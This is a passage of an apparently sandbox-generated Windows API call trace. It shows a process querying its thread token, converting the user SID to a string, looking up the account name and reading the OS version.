(HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0134.690] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0134.690] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0134.690] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0134.690] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0134.690] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0134.690] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48270 [0134.690] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0134.690] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba666c0 [0134.690] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba666c0, pulNumLanguages=0x2dc237dc88 | out: pulNumLanguages=0x2dc237dc88) returned 1 [0134.690] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba666c0) returned 1 [0134.694] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0134.695] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0134.695] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0134.696] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0134.696] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0134.699] GetCurrentThread () returned 0xfffffffffffffffe [0134.699] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x2dc237c510 | out: TokenHandle=0x2dc237c510*=0x270) returned 1 [0134.699] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x20a00000001, phNewToken=0x2dc237c528 | out: phNewToken=0x2dc237c528*=0x26c) returned 1 [0134.700] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0134.700] GetLastError () returned 0x7a [0134.700] malloc (_Size=0x2c) returned 0x20abc2817d0 [0134.700] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x20abc2817d0, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc2817d0, ReturnLength=0x2dc237c4b0) returned 1 [0134.700] IsValidSid (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0134.700] GetLengthSid (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0134.700] malloc (_Size=0x1c) returned 0x20abc2a9c40 [0134.700] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9c40, pSourceSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9c40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0134.700] GetSidIdentifierAuthority (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2817e2 [0134.700] malloc (_Size=0x18) returned 0x20abc2820c0 [0134.700] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0134.700] malloc (_Size=0x18) returned 0x20abc281aa0 [0134.700] malloc (_Size=0x18) returned 0x20abc281f20 [0134.700] SysStringLen (param_1="S-1-") returned 0x4 [0134.700] SysStringLen (param_1="5") returned 0x1 [0134.700] memcpy (in: _Dst=0x20abba6ab38, _Src=0x20abba6a718, _Size=0xa | out: _Dst=0x20abba6ab38) returned 0x20abba6ab38 [0134.700] memcpy (in: _Dst=0x20abba6ab40, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6ab40) returned 0x20abba6ab40 [0134.701] free (_Block=0x20abc2820c0) [0134.701] free (_Block=0x20abc281aa0) [0134.701] GetSidSubAuthorityCount (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2817e1 [0134.701] GetSidSubAuthority (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc2817e8 [0134.701] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0134.701] malloc (_Size=0x18) returned 0x20abc2819e0 [0134.701] malloc (_Size=0x18) returned 0x20abc281e00 [0134.701] SysStringLen (param_1="S-1-5") returned 0x5 [0134.701] SysStringLen (param_1="-") returned 0x1 [0134.701] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6ab38, _Size=0xc | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0134.701] memcpy (in: _Dst=0x20abba6ab12, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba6ab12) returned 0x20abba6ab12 [0134.701] free (_Block=0x20abc281f20) [0134.701] free (_Block=0x20abc2819e0) [0134.701] malloc (_Size=0x18) returned 0x20abc281ee0 [0134.701] malloc (_Size=0x18) returned 0x20abc282020 [0134.701] SysStringLen (param_1="S-1-5-") returned 0x6 [0134.701] SysStringLen (param_1="21") returned 0x2 [0134.701] memcpy (in: _Dst=0x20abba6a718, _Src=0x20abba6ab08, _Size=0xe | out: _Dst=0x20abba6a718) returned 0x20abba6a718 [0134.701] memcpy (in: _Dst=0x20abba6a724, _Src=0x20abba6ab38, _Size=0x6 | out: _Dst=0x20abba6a724) returned 0x20abba6a724 [0134.702] free (_Block=0x20abc281e00) [0134.702] free (_Block=0x20abc281ee0) [0134.702] GetSidSubAuthority (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc2817ec [0134.702] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0134.702] malloc (_Size=0x18) returned 0x20abc281960 [0134.702] malloc (_Size=0x18) returned 0x20abc281a20 [0134.702] SysStringLen (param_1="S-1-5-21") returned 0x8 [0134.702] SysStringLen (param_1="-") returned 0x1 [0134.702] memcpy (in: _Dst=0x20abba6ab38, _Src=0x20abba6a718, _Size=0x12 | out: _Dst=0x20abba6ab38) returned 0x20abba6ab38 [0134.702] memcpy (in: _Dst=0x20abba6ab48, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6ab48) returned 0x20abba6ab48 [0134.702] free (_Block=0x20abc282020) [0134.702] free (_Block=0x20abc281960) [0134.702] malloc (_Size=0x18) returned 0x20abc281f60 [0134.702] malloc (_Size=0x18) returned 0x20abc281a40 [0134.702] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0134.702] SysStringLen (param_1="1560258661") returned 0xa [0134.702] memcpy (in: _Dst=0x20abba63458, _Src=0x20abba6ab38, _Size=0x14 | out: _Dst=0x20abba63458) returned 0x20abba63458 [0134.702] memcpy (in: _Dst=0x20abba6346a, _Src=0x20abba6a718, _Size=0x16 | out: _Dst=0x20abba6346a) returned 0x20abba6346a [0134.702] free (_Block=0x20abc281a20) [0134.703] free (_Block=0x20abc281f60) [0134.703] GetSidSubAuthority (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc2817f0 [0134.703] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0134.703] malloc (_Size=0x18) returned 0x20abc281ac0 [0134.703] malloc (_Size=0x18) returned 0x20abc281fe0 [0134.703] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0134.703] SysStringLen (param_1="-") returned 0x1 [0134.703] memcpy (in: _Dst=0x20abba634a8, _Src=0x20abba63458, _Size=0x28 | out: _Dst=0x20abba634a8) returned 0x20abba634a8 [0134.703] memcpy (in: _Dst=0x20abba634ce, _Src=0x20abba6ab38, _Size=0x4 | out: _Dst=0x20abba634ce) returned 0x20abba634ce [0134.703] free (_Block=0x20abc281a40) [0134.703] free (_Block=0x20abc281ac0) [0134.703] malloc (_Size=0x18) returned 0x20abc282000 [0134.703] malloc (_Size=0x18) returned 0x20abc281e00 [0134.703] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0134.703] SysStringLen (param_1="3990802383") returned 0xa [0134.703] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba634a8, _Size=0x2a | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0134.703] memcpy (in: _Dst=0x20abba7b7a0, _Src=0x20abba6ab38, _Size=0x16 | out: _Dst=0x20abba7b7a0) returned 0x20abba7b7a0 [0134.703] free (_Block=0x20abc281fe0) [0134.703] free (_Block=0x20abc282000) [0134.703] GetSidSubAuthority (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc2817f4 [0134.704] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0134.704] malloc (_Size=0x18) returned 0x20abc2820e0 [0134.704] malloc (_Size=0x18) returned 0x20abc2820a0 [0134.704] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0134.704] SysStringLen (param_1="-") returned 0x1 [0134.704] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x3e | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0134.704] memcpy (in: _Dst=0x20abba7a274, _Src=0x20abba6ab38, _Size=0x4 | out: _Dst=0x20abba7a274) returned 0x20abba7a274 [0134.704] free (_Block=0x20abc281e00) [0134.704] free (_Block=0x20abc2820e0) [0134.704] malloc (_Size=0x18) returned 0x20abc281d20 [0134.704] malloc (_Size=0x18) returned 0x20abc281e20 [0134.704] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0134.704] SysStringLen (param_1="1811730007") returned 0xa [0134.704] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x40 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0134.704] memcpy (in: _Dst=0x20abba7b7b6, _Src=0x20abba6ab38, _Size=0x16 | out: _Dst=0x20abba7b7b6) returned 0x20abba7b7b6 [0134.704] free (_Block=0x20abc2820a0) [0134.704] free (_Block=0x20abc281d20) [0134.704] GetSidSubAuthority (pSid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc2817f8 [0134.704] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0134.704] malloc (_Size=0x18) returned 0x20abc281b40 [0134.704] malloc (_Size=0x18) returned 0x20abc281960 [0134.704] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0134.704] SysStringLen (param_1="-") returned 0x1 [0134.705] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x54 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0134.705] memcpy (in: _Dst=0x20abba7a28a, _Src=0x20abba6ab38, _Size=0x4 | out: _Dst=0x20abba7a28a) returned 0x20abba7a28a [0134.705] free (_Block=0x20abc281e20) [0134.705] free (_Block=0x20abc281b40) [0134.705] malloc (_Size=0x18) returned 0x20abc281e80 [0134.705] malloc (_Size=0x18) returned 0x20abc281ea0 [0134.705] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0134.705] SysStringLen (param_1="1000") returned 0x4 [0134.705] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x56 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0134.705] memcpy (in: _Dst=0x20abba7b7cc, _Src=0x20abba6ab38, _Size=0xa | out: _Dst=0x20abba7b7cc) returned 0x20abba7b7cc [0134.705] free (_Block=0x20abc281960) [0134.705] free (_Block=0x20abc281e80) [0134.705] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0134.705] malloc (_Size=0x5e) returned 0x20abc2801b0 [0134.705] free (_Block=0x20abc281ea0) [0134.705] malloc (_Size=0x18) returned 0x20abc281fc0 [0134.706] free (_Block=0x20abc2801b0) [0134.706] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 0 [0134.708] GetLastError () returned 0x7a [0134.708] malloc (_Size=0x1a) returned 0x20abc2a9b80 [0134.708] malloc (_Size=0xe) returned 0x20abc281c20 [0134.708] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2817e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9b80, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281c20, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 1 [0134.709] malloc (_Size=0x18) returned 0x20abc281fa0 [0134.709] malloc (_Size=0x18) returned 0x20abc281f00 [0134.709] free (_Block=0x20abc2a9b80) [0134.709] free (_Block=0x20abc281c20) [0134.709] free (_Block=0x20abc2a9c40) [0134.709] free (_Block=0x20abc281f00) [0134.709] free (_Block=0x20abc281fa0) [0134.710] free (_Block=0x20abc281fc0) [0134.710] free (_Block=0x20abc2817d0) [0134.710] GetVersionExW (in: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x2d, dwMinorVersion=0xbba85138, dwBuildNumber=0x20a, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0134.711] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0134.711] GetLastError () returned 0x7a [0134.711] malloc (_Size=0x2c) returned 0x20abc2812d0 [0134.711] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x20abc2812d0, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc2812d0, ReturnLength=0x2dc237c4b0) returned 1 [0134.711] IsValidSid (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0134.711] GetLengthSid (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0134.711] malloc (_Size=0x1c) returned 0x20abc2a9d00 [0134.711] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9d00, pSourceSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9d00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0134.711] GetSidIdentifierAuthority (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2812e2 [0134.711] malloc (_Size=0x18) returned 0x20abc281c40 [0134.711] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0134.711] malloc (_Size=0x18) returned 0x20abc281c20 [0134.711] malloc (_Size=0x18) returned 0x20abc2819a0 [0134.711] SysStringLen (param_1="S-1-") returned 0x4 [0134.711] SysStringLen (param_1="5") returned 0x1 [0134.711] memcpy (in: _Dst=0x20abba6a718, _Src=0x20abba6ab38, _Size=0xa | out: _Dst=0x20abba6a718) returned 0x20abba6a718 [0134.711] memcpy (in: _Dst=0x20abba6a720, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6a720) returned 0x20abba6a720 [0134.711] free (_Block=0x20abc281c40) [0134.711] free (_Block=0x20abc281c20) [0134.711] GetSidSubAuthorityCount (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2812e1 [0134.711] GetSidSubAuthority (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc2812e8 [0134.712] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0134.712] malloc (_Size=0x18) returned 0x20abc2819c0 [0134.712] malloc (_Size=0x18) returned 0x20abc281e20 [0134.712] SysStringLen (param_1="S-1-5") returned 0x5 [0134.712] SysStringLen (param_1="-") returned 0x1 [0134.712] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a718, _Size=0xc | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0134.712] memcpy (in: _Dst=0x20abba6ab12, _Src=0x20abba6ab38, _Size=0x4 | out: _Dst=0x20abba6ab12) returned 0x20abba6ab12 [0134.712] free (_Block=0x20abc2819a0) [0134.712] free (_Block=0x20abc2819c0) [0134.712] malloc (_Size=0x18) returned 0x20abc281dc0 [0134.712] malloc (_Size=0x18) returned 0x20abc281be0 [0134.712] SysStringLen (param_1="S-1-5-") returned 0x6 [0134.712] SysStringLen (param_1="21") returned 0x2 [0134.712] memcpy (in: _Dst=0x20abba6ab38, _Src=0x20abba6ab08, _Size=0xe | out: _Dst=0x20abba6ab38) returned 0x20abba6ab38 [0134.712] memcpy (in: _Dst=0x20abba6ab44, _Src=0x20abba6a718, _Size=0x6 | out: _Dst=0x20abba6ab44) returned 0x20abba6ab44 [0134.713] free (_Block=0x20abc281e20) [0134.713] free (_Block=0x20abc281dc0) [0134.713] GetSidSubAuthority (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc2812ec [0134.713] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0134.713] malloc (_Size=0x18) returned 0x20abc2820e0 [0134.713] malloc (_Size=0x18) returned 0x20abc281aa0 [0134.713] SysStringLen (param_1="S-1-5-21") returned 0x8 [0134.713] SysStringLen (param_1="-") returned 0x1 [0134.713] memcpy (in: _Dst=0x20abba6a718, _Src=0x20abba6ab38, _Size=0x12 | out: _Dst=0x20abba6a718) returned 0x20abba6a718 [0134.713] memcpy (in: _Dst=0x20abba6a728, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6a728) returned 0x20abba6a728 [0134.713] free (_Block=0x20abc281be0) [0134.713] free (_Block=0x20abc2820e0) [0134.713] malloc (_Size=0x18) returned 0x20abc281ee0 [0134.713] malloc (_Size=0x18) returned 0x20abc281e00 [0134.713] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0134.713] SysStringLen (param_1="1560258661") returned 0xa [0134.714] memcpy (in: _Dst=0x20abba63458, _Src=0x20abba6a718, _Size=0x14 | out: _Dst=0x20abba63458) returned 0x20abba63458 [0134.714] memcpy (in: _Dst=0x20abba6346a, _Src=0x20abba6ab38, _Size=0x16 | out: _Dst=0x20abba6346a) returned 0x20abba6346a [0134.714] free (_Block=0x20abc281aa0) [0134.714] free (_Block=0x20abc281ee0) [0134.714] GetSidSubAuthority (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc2812f0 [0134.714] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0134.714] malloc (_Size=0x18) returned 0x20abc282040 [0134.714] malloc (_Size=0x18) returned 0x20abc281d60 [0134.714] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0134.715] SysStringLen (param_1="-") returned 0x1 [0134.715] memcpy (in: _Dst=0x20abba634a8, _Src=0x20abba63458, _Size=0x28 | out: _Dst=0x20abba634a8) returned 0x20abba634a8 [0134.715] memcpy (in: _Dst=0x20abba634ce, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba634ce) returned 0x20abba634ce [0134.715] free (_Block=0x20abc281e00) [0134.715] free (_Block=0x20abc282040) [0134.715] malloc (_Size=0x18) returned 0x20abc281c00 [0134.715] malloc (_Size=0x18) returned 0x20abc281960 [0134.715] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0134.715] SysStringLen (param_1="3990802383") returned 0xa [0134.715] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba634a8, _Size=0x2a | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0134.715] memcpy (in: _Dst=0x20abba7a260, _Src=0x20abba6a718, _Size=0x16 | out: _Dst=0x20abba7a260) returned 0x20abba7a260 [0134.715] free (_Block=0x20abc281d60) [0134.715] free (_Block=0x20abc281c00) [0134.715] GetSidSubAuthority (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc2812f4 [0134.715] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0134.715] malloc (_Size=0x18) returned 0x20abc281fc0 [0134.716] malloc (_Size=0x18) returned 0x20abc281ee0 [0134.716] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0134.716] SysStringLen (param_1="-") returned 0x1 [0134.716] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x3e | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0134.716] memcpy (in: _Dst=0x20abba7b7b4, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba7b7b4) returned 0x20abba7b7b4 [0134.716] free (_Block=0x20abc281960) [0134.716] free (_Block=0x20abc281fc0) [0134.716] malloc (_Size=0x18) returned 0x20abc2819a0 [0134.716] malloc (_Size=0x18) returned 0x20abc281e60 [0134.716] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0134.716] SysStringLen (param_1="1811730007") returned 0xa [0134.716] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x40 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0134.716] memcpy (in: _Dst=0x20abba7a276, _Src=0x20abba6a718, _Size=0x16 | out: _Dst=0x20abba7a276) returned 0x20abba7a276 [0134.716] free (_Block=0x20abc281ee0) [0134.716] free (_Block=0x20abc2819a0) [0134.716] GetSidSubAuthority (pSid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc2812f8 [0134.716] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0134.716] malloc (_Size=0x18) returned 0x20abc281a40 [0134.717] malloc (_Size=0x18) returned 0x20abc281b40 [0134.717] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0134.717] SysStringLen (param_1="-") returned 0x1 [0134.717] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x54 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0134.717] memcpy (in: _Dst=0x20abba7b7ca, _Src=0x20abba6a718, _Size=0x4 | out: _Dst=0x20abba7b7ca) returned 0x20abba7b7ca [0134.717] free (_Block=0x20abc281e60) [0134.717] free (_Block=0x20abc281a40) [0134.717] malloc (_Size=0x18) returned 0x20abc281b80 [0134.717] malloc (_Size=0x18) returned 0x20abc281ae0 [0134.717] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0134.717] SysStringLen (param_1="1000") returned 0x4 [0134.717] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x56 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 